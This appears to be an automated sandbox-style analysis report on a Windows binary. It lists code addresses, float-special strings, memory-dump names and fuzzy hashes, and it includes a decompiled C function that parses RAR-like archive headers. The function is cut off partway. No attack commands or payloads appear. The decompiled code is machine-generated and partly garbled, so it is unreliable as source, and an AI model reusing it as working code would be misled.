0x0137d0b8
0x0137d015
0x0137d015
0x0137d015
0x0137d018
0x00000000
0x00000000
0x0137d01a
0x0137d01c
0x0137d01e
0x0137d027
0x0137d027
0x0137d029
0x0137d02f
0x0137d02f
0x0137d03b
0x0137d046
0x0137d049
0x0137d056
0x0137d059
0x0137d05a
0x0137d05b
0x0137d061
0x0137d063
0x0137d069
0x0137d06f
0x00000000
0x00000000
0x00000000
0x00000000
0x0137d071
0x0137d071
0x0137d071
0x0137d073
0x00000000
0x00000000
0x0137d075
0x0137d078
0x0137d132
0x0137d132
0x0137d134
0x0137d13a
0x0137d140
0x0137d141
0x00000000
0x0137d07e
0x0137d07e
0x0137d080
0x0137d082
0x0137d082
0x0137d082
0x0137d08a
0x0137d08d
0x0137d08d
0x0137d093
0x0137d095
0x0137d097
0x0137d09e
0x0137d0a4
0x0137d0a6
0x00000000
0x0137d0a6
0x00000000
0x0137d078
0x00000000
0x0137d071
0x00000000
0x0137d015
0x0137cfd8
0x0137cfd8
0x0137cfda
0x0137cfe0
0x0137cfe7
0x0137cfe7
0x0137cfea
0x0137cfea
0x00000000
0x0137cfda
0x00000000
0x0137d0be
0x0137d0be
0x0137d0bf
0x0137d0bf
0x00000000
0x0137cfc4
0x0137ce9d
0x0137ce9d
0x0137ceaf
0x0137cebe
0x0137cec3
0x0137cec6
0x0137cec8
0x0137cee4
0x0137cee7
0x00000000
0x0137ceed
0x0137ceed
0x0137cef4
0x00000000
0x0137cefa
0x0137cf00
0x0137cf02
0x0137cf08
0x0137cf08
0x0137cf0a
0x0137cf0a
0x0137cf0c
0x0137cf15
0x0137cf1c
0x0137cf1f
0x0137cf20
0x0137cf22
0x0137cf22
0x00000000
0x0137cf0a
0x0137cef4
0x0137ceca
0x0137cecc
0x0137ced2
0x0137ced8
0x0137ced9
0x00000000
0x0137ced9
0x0137cec8
0x0137ce16
0x0137ce16
0x0137ce1c
0x0137ce1e
0x0137ce33
0x0137ce36
0x00000000
0x0137ce3c
0x0137ce3c
0x0137ce43
0x00000000
0x0137ce49
0x0137ce4f
0x0137ce51
0x0137ce57
0x0137ce57
0x0137ce59
0x0137ce59
0x0137ce5b
0x0137ce64
0x0137ce6b
0x0137ce6e
0x0137ce6f
0x0137ce71
0x0137ce71
0x0137cf2a
0x0137cf2a
0x0137cf2c
0x00000000
0x0137cf32
0x0137cf32
0x0137cf38
0x0137cf3b
0x0137ce7e
0x0137ce85
0x00000000
0x0137cf41
0x0137cf43
0x0137cf49
0x0137cf4f
0x0137cf50
0x0137d147
0x0137d147
0x0137d14e
0x0137d14f
0x0137d150
0x0137d155
0x0137d158
0x0137d158
0x0137cf3b
0x0137cf2c
0x0137ce43
0x0137ce20
0x0137ce20
0x0137ce22
0x0137ce28
0x0137d0d2
0x0137d0d2
0x0137d0d3
0x0137d0d9
0x0137d0d9
0x0137d0e0
0x0137d0e1
0x0137d0e2
0x0137d0e7
0x0137d0ea
0x0137d0ea
0x0137d0ea
0x0137ce1e
0x0137d0ec
0x0137d0ec
0x0137d0ee
0x0137d15c
0x0137d163
0x0137d163
0x0137d163
0x0137d16a
0x0137d16c
0x0137d172
0x0137d173
0x0137d61f
0x0137d61f
0x0137d620
0x0137d621
0x0137d626
0x00000000
0x00000000
0x00000000
0x00000000
0x0137d0f0
0x0137d0f6
0x0137d0f6
0x0137d0fc
0x0137d0fc
0x0137d108
0x00000000
0x0137d108
0x0137cd97
0x0137d629
0x0137d629
0x0137d62f
0x0137d631
0x0137d637
0x0137d63d
0x0137d63f
0x0137d641
0x0137d643
0x0137d643
0x0137d645
0x0137d645
0x0137d64e
0x0137d64f
0x0137d653
0x0137d65a
0x0137d65d
0x0137d65e
0x0137d660
0x0137d660
0x0137d664
0x0137d66a
0x0137d66c
0x0137d672
0x0137d674
0x0137d67a
0x0137d67d
0x0137d690
0x0137d693
0x0137d699
0x0137d6ae
0x0137d6b3
0x0137d67f
0x0137d681
0x0137d688
0x0137d688
0x0137d67d
0x0137d6b6
0x0137d6b6
0x0137d6c6
0x0137d6cf
0x0137d6d0
0x0137d6d2
0x0137d769
0x0137d76b
0x0137d776
0x0137d776
0x0137d778
0x0137d77b
0x0137d77d
0x00000000
0x0137d76d
0x0137d773
0x0137d773
0x0137d6d8
0x0137d6d8
0x0137d6de
0x0137d6e1
0x0137d6e7
0x0137d6ea
0x0137d6f0
0x0137d6f2
0x0137d6f8
0x0137d6fa
0x0137d6fc
0x0137d6fc
0x0137d6fe
0x0137d6fe
0x0137d70b
0x0137d712
0x0137d715
0x0137d716
0x0137d718
0x0137d719
0x0137d719
0x0137d71d
0x0137d723
0x0137d725
0x0137d727
0x0137d72d
0x0137d730
0x0137d744
0x0137d74a
0x0137d75f
0x0137d764
0x0137d732
0x0137d732
0x0137d739
0x0137d739
0x0137d730
0x0137d725
0x0137d783
0x0137d783
0x0137d783
0x0137d78f
0x0137d792
0x0137d798
0x0137d79a
0x0137d79c
0x0137d7a2
0x0137d7a4
0x0137d7a4
0x0137d7a4
0x0137d7a2
0x0137d7a9
0x0137d7aa
0x0137d7ac
0x0137d7ae
0x0137d7ae
0x0137d7b0
0x0137d7b6
0x0137d7bc
0x0137d7be
0x0137d7c4
0x0137d7c4
0x0137d7ca
0x0137d7cc
0x00000000
0x00000000
0x0137d7d2
0x0137d7d4
0x0137d7d6
0x0137d7d6
0x0137d7d8
0x0137d7d8
0x0137d7e8
0x0137d7ef
0x0137d7f2
0x0137d7f3
0x0137d7f5
0x0137d7f5
0x0137d7f9
0x0137d7ff
0x0137d801
0x0137d803
0x0137d809
0x0137d80c
0x0137d81d
0x0137d820
0x0137d826
0x0137d83b
0x0137d840
0x0137d80e
0x0137d80e
0x0137d815
0x0137d815
0x0137d80c
0x0137d851
0x0137d860
0x0137d861
0x0137d861
0x0137d863
0x0137d865
0x0137d865
0x0137d86b
0x0137d86e
0x0137d870
0x0137d872
0x0137d872
0x0137d875
0x0137d876
0x0137d876
0x0137d87b
0x0137d87e
0x0137d882
0x0137d882
0x0137d883
0x0137d885
0x0137d88b
0x0137d891
0x00000000
0x00000000
0x00000000
0x0137d891
0x0137d7c4
0x0137d897
0x0137d897
0x00000000
0x0137d897
0x0137c61c
0x0137c613
0x0137c60a
0x0137c5c1
0x0137c5c5
0x0137c5cd
0x00000000
0x0137c5cf
0x0137c5d5
0x0137c5da
0x0137d8b6
0x0137d8b6
0x0137d8b9
0x0137d8c4
0x0137d8ef
0x0137d8f0
0x0137d8f1
0x0137d8f2
0x0137d8f3
0x0137d8f4
0x0137d8f9
0x0137d901
0x0137d906
0x0137d90c
0x0137d911
0x0137d912
0x0137d912
0x0137d912
0x0137d918
0x0137d919
0x0137d919
0x0137d91c
0x0137d922
0x00000000
0x00000000
0x0137d924
0x0137d929
0x0137d92c
0x0137d92e
0x0137d936
0x0137d938
0x0137d93a
0x0137d93f
0x0137d942
0x0137d948
0x0137d94b
0x0137d94d
0x0137d94d
0x0137d94d
0x0137d94d
0x0137d94b
0x0137d950
0x0137d95c
0x0137d962
0x0137d96a
0x0137d96f
0x0137d970
0x0137d975
0x0137d975
0x0137d975
0x0137d975
0x0137d979
0x0137d979
0x0137d97c
0x0137d983
0x0137d990
0x0137d8c6
0x0137d8c6
0x0137d8c6
0x0137d8d0
0x0137d8d9
0x0137d8de
0x0137d8ec
0x0137d8ec
0x0137d8c4
0x0137c5cd

APIs

__floor_pentium4.LIBCMT ref: 0137C6A4

Strings

1#IND, xrefs: 0137D89C
1#INF, xrefs: 0137D8B1
1#SNAN, xrefs: 0137D8A3
1#QNAN, xrefs: 0137D8AA

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d5c4949f092b44866cef46564159cf8e4ea70e728c14d45930ddcbe5acd6ed97
Instruction ID: 60fb867195a33fa80d090e65d12fc9822afa4923eabe335ac44138f9afb0a36e
Opcode Fuzzy Hash: d5c4949f092b44866cef46564159cf8e4ea70e728c14d45930ddcbe5acd6ed97
Instruction Fuzzy Hash: 71C24871E046298FDB75CE68DD407E9B7B9EF88318F1451EAD90DE7240E778AA818F40

Uniqueness

Uniqueness Score: -1.00%

Function 01352692, Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 783
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E01352692(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				unsigned int _t333;
				signed int _t337;
				char _t356;
				signed short _t363;
				signed int _t368;
				signed int _t374;
				signed char _t376;
				signed char _t379;
				char _t396;
				signed int _t397;
				signed int _t401;
				signed char _t415;
				intOrPtr _t416;
				char _t417;
				signed int _t420;
				signed int _t421;
				signed char _t426;
				signed int _t429;
				signed int _t433;
				signed short _t438;
				signed short _t443;
				unsigned int _t448;
				signed int _t451;
				void* _t454;
				signed int _t456;
				signed int _t459;
				void* _t466;
				signed int _t472;
				unsigned int _t476;
				void* _t477;
				void* _t484;
				void* _t485;
				signed char _t491;
				signed int _t505;
				intOrPtr* _t518;
				signed int _t521;
				signed int _t522;
				intOrPtr* _t523;
				signed int _t531;
				signed int _t536;
				signed int _t538;
				unsigned int _t547;
				signed int _t549;
				signed int _t560;
				signed char _t562;
				signed int _t563;
				void* _t586;
				signed int _t590;
				signed int _t602;
				signed int _t604;
				signed int _t606;
				unsigned int _t612;
				signed char _t628;
				signed char _t638;
				signed int _t641;
				unsigned int _t642;
				signed int _t645;
				signed int _t646;
				signed int _t648;
				signed int _t649;
				unsigned int _t651;
				signed int _t655;
				void* _t656;
				void* _t663;
				signed int _t666;
				signed int _t667;
				signed char _t668;
				signed int _t671;
				void* _t673;
				signed int _t679;
				signed int _t680;
				void* _t685;
				signed int _t686;
				signed int _t687;
				signed int _t694;
				signed int _t695;
				intOrPtr _t697;
				void* _t698;
				signed char _t707;

				_t523 = __ecx;
				E0136D870(E01381197, _t698);
				E0136D940();
				_t518 = _t523;
				 *((intOrPtr*)(_t698 + 0x20)) = _t518;
				E0135C223(_t698 + 0x24, _t518);
				 *((intOrPtr*)(_t698 + 0x1c)) = 0;
				 *((intOrPtr*)(_t698 - 4)) = 0;
				_t655 = 7;
				if( *(_t518 + 0x6cbc) == 0) {
					L6:
					 *((char*)(_t698 + 0x5f)) = 0;
					L7:
					E0135C42E(_t638, _t655);
					if( *((intOrPtr*)(_t698 + 0x3c)) != 0) {
						 *(_t518 + 0x21e4) = E0135C269(_t698 + 0x24) & 0x0000ffff;
						 *(_t518 + 0x21f4) = 0;
						_t679 = E0135C251(_t698 + 0x24) & 0x000000ff;
						_t333 = E0135C269(_t698 + 0x24) & 0x0000ffff;
						 *(_t518 + 0x21ec) = _t333;
						 *(_t518 + 0x21f4) = _t333 >> 0x0000000e & 0x00000001;
						_t531 = E0135C269(_t698 + 0x24) & 0x0000ffff;
						 *(_t518 + 0x21f0) = _t531;
						 *(_t518 + 0x21e8) = _t679;
						__eflags = _t531 - _t655;
						if(_t531 >= _t655) {
							_t680 = _t679 - 0x73;
							__eflags = _t680;
							if(_t680 == 0) {
								 *(_t518 + 0x21e8) = 1;
							} else {
								_t694 = _t680 - 1;
								__eflags = _t694;
								if(_t694 == 0) {
									 *(_t518 + 0x21e8) = 2;
								} else {
									_t695 = _t694 - 6;
									__eflags = _t695;
									if(_t695 == 0) {
										 *(_t518 + 0x21e8) = 3;
									} else {
										__eflags = _t695 == 1;
										if(_t695 == 1) {
											 *(_t518 + 0x21e8) = 5;
										}
									}
								}
							}
							_t337 =  *(_t518 + 0x21e8);
							 *(_t518 + 0x21dc) = _t337;
							__eflags = _t337 - 0x75;
							if(_t337 != 0x75) {
								__eflags = _t337 - 1;
								if(_t337 != 1) {
									L23:
									_push(_t531 - 7);
									L24:
									E0135C42E(_t638);
									 *((intOrPtr*)(_t518 + 0x6ca8)) =  *((intOrPtr*)(_t518 + 0x6ca0)) + E01351901(_t518,  *(_t518 + 0x21f0));
									_t536 =  *(_t518 + 0x21e8);
									asm("adc eax, 0x0");
									 *(_t518 + 0x6cac) =  *(_t518 + 0x6ca4);
									 *(_t698 + 0x50) = _t536;
									__eflags = _t536 - 1;
									if(__eflags == 0) {
										_t656 = _t518 + 0x2208;
										E0135A96C(_t656);
										_t538 = 5;
										memcpy(_t656, _t518 + 0x21e4, _t538 << 2);
										 *(_t518 + 0x221c) = E0135C269(_t698 + 0x24);
										_t638 = E0135C29E(_t698 + 0x24);
										 *(_t518 + 0x2220) = _t638;
										 *(_t518 + 0x6cb5) =  *(_t518 + 0x2210) & 0x00000001;
										 *(_t518 + 0x6cb4) =  *(_t518 + 0x2210) >> 0x00000003 & 0x00000001;
										_t547 =  *(_t518 + 0x2210);
										 *(_t518 + 0x6cb7) = _t547 >> 0x00000002 & 0x00000001;
										 *(_t518 + 0x6cbb) = _t547 >> 0x00000006 & 0x00000001;
										 *(_t518 + 0x6cbc) = _t547 >> 0x00000007 & 0x00000001;
										__eflags = _t638;
										if(_t638 != 0) {
											L119:
											_t356 = 1;
											__eflags = 1;
											L120:
											 *((char*)(_t518 + 0x6cb8)) = _t356;
											 *(_t518 + 0x2224) = _t547 >> 0x00000001 & 0x00000001;
											_t549 = _t547 >> 0x00000004 & 0x00000001;
											__eflags = _t549;
											 *(_t518 + 0x6cb9) = _t547 >> 0x00000008 & 0x00000001;
											 *(_t518 + 0x6cba) = _t549;
											L121:
											_t655 = 7;
											L122:
											_t363 = E0135C34F(_t698 + 0x24, 0);
											__eflags =  *(_t518 + 0x21e4) - (_t363 & 0x0000ffff);
											if( *(_t518 + 0x21e4) == (_t363 & 0x0000ffff)) {
												L132:
												 *((intOrPtr*)(_t698 + 0x1c)) =  *((intOrPtr*)(_t698 + 0x3c));
												goto L133;
											}
											_t368 =  *(_t518 + 0x21e8);
											__eflags = _t368 - 0x79;
											if(_t368 == 0x79) {
												goto L132;
											}
											__eflags = _t368 - 0x76;
											if(_t368 == 0x76) {
												goto L132;
											}
											__eflags = _t368 - 5;
											if(_t368 != 5) {
												L130:
												 *((char*)(_t518 + 0x6cc4)) = 1;
												E01356E03(0x13900e0, 3);
												__eflags =  *((char*)(_t698 + 0x5f));
												if(__eflags == 0) {
													goto L132;
												}
												E01356BF5(__eflags, 4, _t518 + 0x1e, _t518 + 0x1e);
												 *((char*)(_t518 + 0x6cc5)) = 1;
												goto L133;
											}
											__eflags =  *(_t518 + 0x45ae);
											if( *(_t518 + 0x45ae) == 0) {
												goto L130;
											}
											_t374 =  *((intOrPtr*)( *_t518 + 0x14))() - _t655;
											__eflags = _t374;
											asm("sbb edx, ecx");
											 *((intOrPtr*)( *_t518 + 0x10))(_t374, _t638, 0);
											 *(_t698 + 0x5e) = 1;
											do {
												_t376 = E0135972B(_t518);
												asm("sbb al, al");
												_t379 =  !( ~_t376) &  *(_t698 + 0x5e);
												 *(_t698 + 0x5e) = _t379;
												_t655 = _t655 - 1;
												__eflags = _t655;
											} while (_t655 != 0);
											__eflags = _t379;
											if(_t379 != 0) {
												goto L132;
											}
											goto L130;
										}
										_t356 = 0;
										__eflags =  *(_t518 + 0x221c);
										if( *(_t518 + 0x221c) == 0) {
											goto L120;
										}
										goto L119;
									}
									if(__eflags <= 0) {
										L115:
										__eflags =  *(_t518 + 0x21ec) & 0x00008000;
										if(( *(_t518 + 0x21ec) & 0x00008000) != 0) {
											 *((intOrPtr*)(_t518 + 0x6ca8)) =  *((intOrPtr*)(_t518 + 0x6ca8)) + E0135C29E(_t698 + 0x24);
											asm("adc dword [ebx+0x6cac], 0x0");
										}
										goto L122;
									}
									__eflags = _t536 - 3;
									if(_t536 <= 3) {
										__eflags = _t536 - 2;
										_t64 = (0 | _t536 != 0x00000002) - 1; // -1
										_t663 = (_t64 & 0xffffdcb0) + 0x45d0 + _t518;
										 *(_t698 + 0x48) = _t663;
										E0135A8D2(_t663, 0);
										_t560 = 5;
										memcpy(_t663, _t518 + 0x21e4, _t560 << 2);
										_t685 =  *(_t698 + 0x48);
										_t666 =  *(_t698 + 0x50);
										_t562 =  *(_t685 + 8);
										 *(_t685 + 0x1098) =  *(_t685 + 8) & 1;
										 *(_t685 + 0x1099) = _t562 >> 0x00000001 & 1;
										 *(_t685 + 0x109b) = _t562 >> 0x00000002 & 1;
										 *(_t685 + 0x10a0) = _t562 >> 0x0000000a & 1;
										__eflags = _t666 - 2;
										if(_t666 != 2) {
											L35:
											_t641 = 0;
											__eflags = 0;
											_t396 = 0;
											L36:
											 *((char*)(_t685 + 0x10f0)) = _t396;
											__eflags = _t666 - 2;
											if(_t666 == 2) {
												L39:
												_t397 = _t641;
												L40:
												 *(_t685 + 0x10fa) = _t397;
												_t563 = _t562 & 0x000000e0;
												__eflags = _t563 - 0xe0;
												 *((char*)(_t685 + 0x10f1)) = 0 | _t563 == 0x000000e0;
												__eflags = _t563 - 0xe0;
												if(_t563 != 0xe0) {
													_t642 =  *(_t685 + 8);
													_t401 = 0x10000 << (_t642 >> 0x00000005 & 0x00000007);
													__eflags = 0x10000;
												} else {
													_t401 = _t641;
													_t642 =  *(_t685 + 8);
												}
												 *(_t685 + 0x10f4) = _t401;
												 *(_t685 + 0x10f3) = _t642 >> 0x0000000b & 0x00000001;
												 *(_t685 + 0x10f2) = _t642 >> 0x00000003 & 0x00000001;
												 *((intOrPtr*)(_t685 + 0x14)) = E0135C29E(_t698 + 0x24);
												 *(_t698 + 0x54) = E0135C29E(_t698 + 0x24);
												 *((char*)(_t685 + 0x18)) = E0135C251(_t698 + 0x24);
												 *(_t685 + 0x1070) = 2;
												 *((intOrPtr*)(_t685 + 0x1074)) = E0135C29E(_t698 + 0x24);
												 *(_t698 + 0x18) = E0135C29E(_t698 + 0x24);
												 *(_t685 + 0x1c) = E0135C251(_t698 + 0x24) & 0x000000ff;
												 *((char*)(_t685 + 0x20)) = E0135C251(_t698 + 0x24) - 0x30;
												 *(_t698 + 0x4c) = E0135C269(_t698 + 0x24) & 0x0000ffff;
												_t415 = E0135C29E(_t698 + 0x24);
												_t645 =  *(_t685 + 0x1c);
												 *(_t698 + 0x58) = _t415;
												 *(_t685 + 0x24) = _t415;
												__eflags = _t645 - 0x14;
												if(_t645 < 0x14) {
													__eflags = _t415 & 0x00000010;
													if((_t415 & 0x00000010) != 0) {
														 *((char*)(_t685 + 0x10f1)) = 1;
													}
												}
												 *(_t685 + 0x109c) = 0;
												__eflags =  *(_t685 + 0x109b);
												if( *(_t685 + 0x109b) == 0) {
													L55:
													_t416 =  *((intOrPtr*)(_t685 + 0x18));
													 *(_t685 + 0x10fc) = 2;
													__eflags = _t416 - 3;
													if(_t416 == 3) {
														L59:
														 *(_t685 + 0x10fc) = 1;
														L60:
														 *(_t685 + 0x1100) = 0;
														__eflags = _t416 - 3;
														if(_t416 == 3) {
															__eflags = ( *(_t698 + 0x58) & 0x0000f000) - 0xa000;
															if(( *(_t698 + 0x58) & 0x0000f000) == 0xa000) {
																__eflags = 0;
																 *(_t685 + 0x1100) = 1;
																 *((short*)(_t685 + 0x1104)) = 0;
															}
														}
														__eflags = _t666 - 2;
														if(_t666 == 2) {
															L66:
															_t417 = 0;
															goto L67;
														} else {
															__eflags =  *(_t685 + 0x24);
															if( *(_t685 + 0x24) >= 0) {
																goto L66;
															}
															_t417 = 1;
															L67:
															 *((char*)(_t685 + 0x10f8)) = _t417;
															_t420 =  *(_t685 + 8) >> 0x00000008 & 0x00000001;
															__eflags = _t420;
															 *(_t685 + 0x10f9) = _t420;
															if(_t420 == 0) {
																__eflags =  *(_t698 + 0x54) - 0xffffffff;
																_t638 = 0;
																_t667 = 0;
																_t137 =  *(_t698 + 0x54) == 0xffffffff;
																__eflags = _t137;
																_t421 = _t420 & 0xffffff00 | _t137;
																L73:
																 *(_t685 + 0x109a) = _t421;
																 *((intOrPtr*)(_t685 + 0x1058)) = 0 +  *((intOrPtr*)(_t685 + 0x14));
																asm("adc edi, ecx");
																 *((intOrPtr*)(_t685 + 0x105c)) = _t667;
																asm("adc edx, ecx");
																 *(_t685 + 0x1060) = 0 +  *(_t698 + 0x54);
																__eflags =  *(_t685 + 0x109a);
																 *(_t685 + 0x1064) = _t638;
																if( *(_t685 + 0x109a) != 0) {
																	 *(_t685 + 0x1060) = 0x7fffffff;
																	 *(_t685 + 0x1064) = 0x7fffffff;
																}
																_t426 =  *(_t698 + 0x4c);
																_t668 = 0x1fff;
																 *(_t698 + 0x54) = 0x1fff;
																__eflags = _t426 - 0x1fff;
																if(_t426 < 0x1fff) {
																	_t668 = _t426;
																	 *(_t698 + 0x54) = _t426;
																}
																E0135C300(_t698 + 0x24, _t698 - 0x2030, _t668);
																_t429 = 0;
																__eflags =  *(_t698 + 0x50) - 2;
																 *((char*)(_t698 + _t668 - 0x2030)) = 0;
																if( *(_t698 + 0x50) != 2) {
																	 *(_t698 + 0x50) = _t685 + 0x28;
																	_t432 = E01360FDE(_t698 - 0x2030, _t685 + 0x28, 0x800);
																	_t671 =  *((intOrPtr*)(_t685 + 0xc)) -  *(_t698 + 0x4c) - 0x20;
																	__eflags =  *(_t685 + 8) & 0x00000400;
																	if(( *(_t685 + 8) & 0x00000400) != 0) {
																		_t671 = _t671 - 8;
																		__eflags = _t671;
																	}
																	__eflags = _t671;
																	if(_t671 <= 0) {
																		_t672 = _t685 + 0x28;
																	} else {
																		 *(_t698 + 0x58) = _t685 + 0x1028;
																		E01351EDE(_t685 + 0x1028, _t671);
																		_t466 = E0135C300(_t698 + 0x24,  *(_t685 + 0x1028), _t671);
																		_t672 = _t685 + 0x28;
																		_t432 = E01372B69(_t466, _t685 + 0x28, L"RR");
																		__eflags = _t432;
																		if(_t432 == 0) {
																			__eflags =  *((intOrPtr*)(_t685 + 0x102c)) - 0x14;
																			if( *((intOrPtr*)(_t685 + 0x102c)) >= 0x14) {
																				_t673 =  *( *(_t698 + 0x58));
																				asm("cdq");
																				_t602 =  *(_t673 + 0xb) & 0x000000ff;
																				asm("cdq");
																				_t604 = (_t602 << 8) + ( *(_t673 + 0xa) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t606 = (_t604 << 8) + ( *(_t673 + 9) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t472 = (_t606 << 8) + ( *(_t673 + 8) & 0x000000ff);
																				asm("adc esi, edx");
																				 *(_t518 + 0x21c0) = _t472 << 9;
																				 *(_t518 + 0x21c4) = ((((_t638 << 0x00000020 | _t602) << 0x8 << 0x00000020 | _t604) << 0x8 << 0x00000020 | _t606) << 0x8 << 0x00000020 | _t472) << 9;
																				_t476 = E0135F749( *(_t518 + 0x21c0),  *(_t518 + 0x21c4),  *((intOrPtr*)( *_t518 + 0x14))(), _t638);
																				 *(_t518 + 0x21c8) = _t476;
																				 *(_t698 + 0x58) = _t476;
																				_t477 = E0136D890(_t475, _t638, 0xc8, 0);
																				asm("adc edx, [ebx+0x21c4]");
																				_t432 = E0135F749(_t477 +  *(_t518 + 0x21c0), _t638, _t475, _t638);
																				_t612 =  *(_t698 + 0x58);
																				_t685 =  *(_t698 + 0x48);
																				_t672 =  *(_t698 + 0x50);
																				__eflags = _t432 - _t612;
																				if(_t432 > _t612) {
																					_t432 = _t612 + 1;
																					 *(_t518 + 0x21c8) = _t612 + 1;
																				}
																			}
																		}
																	}
																	_t433 = E01372B69(_t432, _t672, L"CMT");
																	__eflags = _t433;
																	if(_t433 == 0) {
																		 *((char*)(_t518 + 0x6cb6)) = 1;
																	}
																} else {
																	_t672 = _t685 + 0x28;
																	 *_t672 = 0;
																	__eflags =  *(_t685 + 8) & 0x00000200;
																	if(( *(_t685 + 8) & 0x00000200) != 0) {
																		E013569E0(_t698);
																		_t484 = E01372BB0(_t698 - 0x2030);
																		_t638 =  *(_t698 + 0x54);
																		_t485 = _t484 + 1;
																		__eflags = _t638 - _t485;
																		if(_t638 > _t485) {
																			__eflags = _t485 + _t698 - 0x2030;
																			E013569F1(_t698, _t698 - 0x2030, _t638, _t485 + _t698 - 0x2030, _t638 - _t485, _t672, 0x800);
																		}
																		_t429 = 0;
																		__eflags = 0;
																	}
																	__eflags =  *_t672 - _t429;
																	if( *_t672 == _t429) {
																		_push(1);
																		_push(0x800);
																		_push(_t672);
																		_push(_t698 - 0x2030);
																		E0135F79F();
																	}
																	E01351F3D(_t518, _t685);
																}
																__eflags =  *(_t685 + 8) & 0x00000400;
																if(( *(_t685 + 8) & 0x00000400) != 0) {
																	E0135C300(_t698 + 0x24, _t685 + 0x10a1, 8);
																}
																E013608B2( *(_t698 + 0x18));
																__eflags =  *(_t685 + 8) & 0x00001000;
																if(( *(_t685 + 8) & 0x00001000) == 0) {
																	L112:
																	 *((intOrPtr*)(_t518 + 0x6ca8)) = E01353CA7( *((intOrPtr*)(_t518 + 0x6ca8)),  *(_t518 + 0x6cac),  *((intOrPtr*)(_t685 + 0x1058)),  *((intOrPtr*)(_t685 + 0x105c)), 0, 0);
																	 *(_t518 + 0x6cac) = _t638;
																	 *((char*)(_t698 + 0x20)) =  *(_t685 + 0x10f2);
																	_t438 = E0135C34F(_t698 + 0x24,  *((intOrPtr*)(_t698 + 0x20)));
																	__eflags =  *_t685 - (_t438 & 0x0000ffff);
																	if( *_t685 != (_t438 & 0x0000ffff)) {
																		 *((char*)(_t518 + 0x6cc4)) = 1;
																		E01356E03(0x13900e0, 1);
																		__eflags =  *((char*)(_t698 + 0x5f));
																		if(__eflags == 0) {
																			E01356BF5(__eflags, 0x1c, _t518 + 0x1e, _t672);
																		}
																	}
																	goto L121;
																} else {
																	_t443 = E0135C269(_t698 + 0x24);
																	 *((intOrPtr*)(_t698 + 4)) = _t518 + 0x32c0;
																	 *((intOrPtr*)(_t698 + 8)) = _t518 + 0x32c8;
																	 *((intOrPtr*)(_t698 + 0xc)) = _t518 + 0x32d0;
																	__eflags = 0;
																	_t686 = 0;
																	 *((intOrPtr*)(_t698 + 0x10)) = 0;
																	_t448 = _t443 & 0x0000ffff;
																	 *(_t698 + 0x4c) = 0;
																	 *(_t698 + 0x58) = _t448;
																	do {
																		_t586 = 3;
																		_t521 = _t448 >> _t586 - _t686 << 2;
																		__eflags = _t521 & 0x00000008;
																		if((_t521 & 0x00000008) == 0) {
																			goto L110;
																		}
																		__eflags =  *(_t698 + 4 + _t686 * 4);
																		if( *(_t698 + 4 + _t686 * 4) == 0) {
																			goto L110;
																		}
																		__eflags = _t686;
																		if(__eflags != 0) {
																			E013608B2(E0135C29E(_t698 + 0x24));
																		}
																		E013606E0( *(_t698 + 4 + _t686 * 4), _t638, __eflags, _t698 - 0x30);
																		__eflags = _t521 & 0x00000004;
																		if((_t521 & 0x00000004) != 0) {
																			_t249 = _t698 - 0x1c;
																			 *_t249 =  *(_t698 - 0x1c) + 1;
																			__eflags =  *_t249;
																		}
																		_t590 = 0;
																		 *(_t698 - 0x18) = 0;
																		_t522 = _t521 & 0x00000003;
																		__eflags = _t522;
																		if(_t522 <= 0) {
																			L109:
																			_t451 = _t590 * 0x64;
																			__eflags = _t451;
																			 *(_t698 - 0x18) = _t451;
																			E01360910( *(_t698 + 4 + _t686 * 4), _t638, _t698 - 0x30);
																			_t448 =  *(_t698 + 0x58);
																		} else {
																			_t454 = 3;
																			_t456 = _t454 - _t522 << 3;
																			__eflags = _t456;
																			 *(_t698 + 0x18) = _t456;
																			_t687 = _t456;
																			do {
																				_t459 = (E0135C251(_t698 + 0x24) & 0x000000ff) << _t687;
																				_t687 = _t687 + 8;
																				_t590 =  *(_t698 - 0x18) | _t459;
																				 *(_t698 - 0x18) = _t590;
																				_t522 = _t522 - 1;
																				__eflags = _t522;
																			} while (_t522 != 0);
																			_t686 =  *(_t698 + 0x4c);
																			goto L109;
																		}
																		L110:
																		_t686 = _t686 + 1;
																		 *(_t698 + 0x4c) = _t686;
																		__eflags = _t686 - 4;
																	} while (_t686 < 4);
																	_t518 =  *((intOrPtr*)(_t698 + 0x20));
																	_t685 =  *(_t698 + 0x48);
																	goto L112;
																}
															}
															_t667 = E0135C29E(_t698 + 0x24);
															_t491 = E0135C29E(_t698 + 0x24);
															__eflags =  *(_t698 + 0x54) - 0xffffffff;
															_t638 = _t491;
															if( *(_t698 + 0x54) != 0xffffffff) {
																L71:
																_t421 = 0;
																goto L73;
															}
															__eflags = _t638 - 0xffffffff;
															if(_t638 != 0xffffffff) {
																goto L71;
															}
															_t421 = 1;
															goto L73;
														}
													}
													__eflags = _t416 - 5;
													if(_t416 == 5) {
														goto L59;
													}
													__eflags = _t416 - 6;
													if(_t416 < 6) {
														 *(_t685 + 0x10fc) = 0;
													}
													goto L60;
												} else {
													_t646 = _t645 - 0xd;
													__eflags = _t646;
													if(_t646 == 0) {
														 *(_t685 + 0x109c) = 1;
														goto L55;
													}
													_t648 = _t646;
													__eflags = _t648;
													if(_t648 == 0) {
														 *(_t685 + 0x109c) = 2;
														goto L55;
													}
													_t649 = _t648 - 5;
													__eflags = _t649;
													if(_t649 == 0) {
														L52:
														 *(_t685 + 0x109c) = 3;
														goto L55;
													}
													__eflags = _t649 == 6;
													if(_t649 == 6) {
														goto L52;
													}
													 *(_t685 + 0x109c) = 4;
													goto L55;
												}
											}
											__eflags = _t562 & 0x00000010;
